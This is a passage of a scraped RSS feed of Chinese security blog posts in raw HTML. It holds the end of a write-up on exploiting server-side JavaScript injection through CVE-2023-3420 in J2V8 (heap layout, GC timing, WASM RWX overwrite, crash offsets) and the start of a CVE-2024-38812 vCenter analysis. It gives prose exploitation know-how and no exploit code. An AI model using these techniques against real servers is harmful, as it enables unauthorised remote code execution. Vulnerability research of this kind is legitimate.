0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">但远程是另一回事。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">核心矛盾前面说了：触发器不允许函数体里有任何多余代码。而 RCE payload 本身就是一大坨代码。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">试过的方案：</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">双函数分离</span></strong><span leaf="">——触发器和 payload 各自在独立的 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">new Function()</span></code><span leaf=""> 里。结果 V8 的堆分配器把 payload 的字符串元数据分配到了触发器数组的 OOB 范围内。触发器一跑，越界访问直接把 payload 字符串的内部结构给写花了。V8 后续访问这个字符串时，跟着一个被篡改的指针走进了未映射内存，当场崩溃。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这种崩溃在日志里的表现非常稳定：永远是 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">+0x47fa83</span></code><span leaf=""> 偏移处的 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">movzx r12d, byte [r8+rcx]</span></code><span leaf="">，一条字符串字节读取指令。R8 寄存器里是一个被 OOB 篡改过的地址。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">全局变量隔离</span></strong><span leaf="">——把 payload 编码后存进全局属性，让它在堆上的分配时机更早、位置更远。这招管用了，30 次尝试零崩溃。但代价是触发器的成功率从接近 100% 掉到了不到 5%。原因推测是全局属性的设置改变了 ScriptFormula 外层函数的编译上下文，间接影响了内层触发器的 JIT 时序。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">强制 GC 隔离</span></strong><span leaf="">——在 payload 和触发器之间插入大量无用分配，迫使 V8 执行 Scavenge，把 payload 提升到 old space。崩溃问题彻底解决了，但 GC 活动同时搅乱了后台编译线程的调度，触发器直接哑火。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">每修一个问题就冒出来一个新的。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">有一次崩溃地址跳到了 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">+0x6ebd4</span></code><span leaf="">，访问地址是 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">0xFFFFFFFFFFFFFFFF</span></code><span leaf="">。这说明整条链已经走到了最后——读 WASM 实例的 RWX 页面地址——但 GC 在 addrof 和实际读取之间移动了 WASM 实例，读到的是垃圾值，拿去当地址访问就炸了。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">差一步。但就是差这一步。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-width: 1px medium medium;border-style: solid none none;border-color: black currentcolor currentcolor;border-image: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">现实</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">最终没有在远程稳定地弹出 calc。但是在尝试了无数次失败之后，终于成了一次。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">说&#34;稳定&#34;是因为从概率上讲，它是可以打通的。全局变量方案下零崩溃、5% 的触发率，配合自动化重试脚本，理论上二十次重启内能命中一次完整的利用链。但在我不断的测试中，终于成了那么一两次。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">不过从漏洞评估的角度，结论已经很清楚了：</span></p><ol style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: decimal;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">未授权 JS 执行</span></strong><span leaf="">——通过导出接口的 ScriptFormula 注入，可以在服务端 V8 引擎中执行任意 JavaScript，无需认证。</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">V8 引擎存在已知高危漏洞</span></strong><span leaf="">——CVE-2023-3420 可稳定触发 OOB，具备完整的读写原语。</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">利用链在本地环境完整验证通过</span></strong><span leaf="">——从类型混淆到 WASM JIT 代码篡改到任意命令执行。</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">远程利用受限于竞争条件的敏感性</span></strong><span leaf="">——但这是工程问题，不是理论障碍。</span></p></li></ol><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">一个 2023 年的 V8 跑在 2026 年的生产环境里。三年的 CVE 积累，配合一个没人注意的公式引擎接口。这种组合在甲方的资产清单里可能根本不会被标记为风险项。</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-width: 1px medium medium;border-style: solid none none;border-color: black currentcolor currentcolor;border-image: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">几点收获</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">做完这个case回头看，有几件事印象比较深：</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">崩溃日志是金矿。</span></strong><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">hs_err_pid</span></code><span leaf=""> 里的寄存器快照和栈转储，在没有调试器的情况下几乎是唯一的堆布局信息来源。好几个关键参数——cage_base 的验证、backing_store 偏移的确认、RWX 页面的定位——都是从崩溃日志里反推出来的。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">V8 JIT 的蝴蝶效应。</span></strong><span leaf=""> 做浏览器漏洞的人可能对此习以为常，但在服务端 J2V8 这种封装环境下，触发器的敏感程度还是超出预期。不是&#34;改个参数就行&#34;的那种敏感，是&#34;多声明一个变量整个编译流程就走另一条路&#34;的那种。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">从 PoC 到武器化的距离比想象中远。</span></strong><span leaf=""> CVE 编号加一个 PoC 脚本，和一个能在真实环境里打通的利用链，中间隔着堆风水、GC 时序、内存布局随机化这些工程层面的东西。每一个都可能是成功和崩溃之间的分界线。</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=694f1670&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4NzQwNzY3OQ%3D%3D%26mid%3D2247484107%26idx%3D1%26sn%3Dac65749a9928a688d5d46a9a29837ca3">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 18 May 2026 23:05:00 +0800</pubDate>
    </item>
    <item>
      <title>CVE-2024-38812 深度分析：从堆风水到远程代码执行</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzA4NzQwNzY3OQ==&amp;mid=2247484086&amp;idx=1&amp;sn=5d6bbe68afada10fbfe35201dfeb801e</link>
      <description>VMware vCenter Server DCERPC 堆溢出漏洞完整利用过程整整三天，心态崩了无数次，又重</description>
      <content:encoded><![CDATA[<p>原创 <span>黑屋安服仔</span> <span>2026-04-29 16:24</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a9a4761e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FTAFC5BLa6G39HWB13U4Kgva1rsUmkGco44Ap1iaf5DNqfX6Vj5nvIS2XtYWOB2s4M3BpKTHu04k9TgeCR9wULIPTzPsvbSKScF52fxE503BI%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <blockquote style="box-sizing: border-box;margin: 20px 0px;display: block;font-size: 0.9em;overflow: auto;border-left: 3px solid rgb(239, 112, 96);background: rgb(255, 249, 249);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: black;"><span leaf="">VMware vCenter Server DCERPC 堆溢出漏洞完整利用过程</span></p></blockquote><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">整整三天，心态崩了无数次，又重拾信心再来。WEB安服仔对二进制的第一次尝试，冲！</span></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-width: 1px medium medium;border-style: solid none none;border-color: black currentcolor currentcolor;border-image: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 1.3em;border-bottom: 2px solid rgb(239, 112, 96);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">一、漏洞背景</span></span></h2><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">2024年，VMware vCenter Server 被曝出一个严重的堆溢出漏洞 CVE-2024-38812，CVSS 评分 9.8。该漏洞存在于 vCenter 的 DCERPC 协议栈中，攻击者无需任何认证即可通过网络触发，最终实现远程代码执行。</span></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">BlackHat Asia 2025 上，奇安信天工实验室的研究员公开了该漏洞的发现与利用过程。本文记录了我们基于该研究的独立复现与深入分析，完整还原了从漏洞触发到 RCE 的每一步，包括大量的失败、调试、纠错过程。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">影响范围</span></span></h3><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">VMware vCenter Server 7.x / 8.x</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 